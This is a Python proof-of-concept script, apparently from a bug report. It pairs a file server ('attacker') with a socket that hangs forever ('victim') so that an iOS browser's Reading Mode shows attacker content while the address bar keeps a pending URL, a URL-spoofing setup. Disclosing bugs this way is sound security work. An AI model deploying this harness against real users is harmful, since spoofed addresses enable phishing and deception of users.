#!/usr/bin/env python3
"""
Two servers in one process:

  * :8080  "attacker" — serves article.html (the page the user opens and
           activates Reading Mode on).

  * :8081  "victim"   — accepts the TCP connection and reads the request but
           NEVER sends response headers. This keeps the host-tab WKWebView
           navigation in the pending state so GetVisibleItem() keeps returning
           the BROWSER_INITIATED pending URL while the Reader overlay (attacker
           content) is still on screen.

Usage:
    python3 server.py
Then on the iOS device, open:
    http://<this-host>:8080/article.html

Replace 127.0.0.1:8081 in article.html with <this-host>:8081 (or with a real
victim hostname + filtered port) before serving to a phone.
"""

import http.server
import os
import socket
import socketserver
import threading
import time

ATTACKER_PORT = 8080
VICTIM_PORT = 8081
HERE = os.path.dirname(os.path.abspath(__file__))


# ---------------------------------------------------------------- attacker ---
class AttackerHandler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=HERE, **kw)

    def end_headers(self):
        self.send_header("Cache-Control", "no-store")
        super().end_headers()


def run_attacker():
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(("0.0.0.0", ATTACKER_PORT), AttackerHandler) as httpd:
        print(f"[attacker] serving {HERE} on 0.0.0.0:{ATTACKER_PORT}")
        httpd.serve_forever()


# ------------------------------------------------------------------ victim ---
class HangHandler(socketserver.BaseRequestHandler):
    """Accepts the connection, drains the request, then sleeps forever.

    No HTTP response line / headers are ever written, so WKWebView's main-frame
    navigation never commits and the pending NavigationItem stays alive until
    the WebKit load timeout (~60s on iOS).
    """

    def handle(self):
        peer = self.client_address
        print(f"[victim ] connection from {peer} — hanging")
        try:
            self.request.settimeout(2)
            try:
                # Read whatever the client sent so it isn't blocked on write.
                while True:
                    if not self.request.recv(4096):
                        break
            except socket.timeout:
                pass
            self.request.settimeout(None)
            # Hold the socket open without responding.
            while True:
                time.sleep(3600)
        except Exception as e:  # client closed / reset
            print(f"[victim ] {peer} closed: {e!r}")


def run_victim():
    socketserver.ThreadingTCPServer.allow_reuse_address = True
    with socketserver.ThreadingTCPServer(("0.0.0.0", VICTIM_PORT), HangHandler) as srv:
        print(f"[victim ] hanging endpoint on 0.0.0.0:{VICTIM_PORT}")
        srv.serve_forever()


if __name__ == "__main__":
    threading.Thread(target=run_victim, daemon=True).start()
    run_attacker()
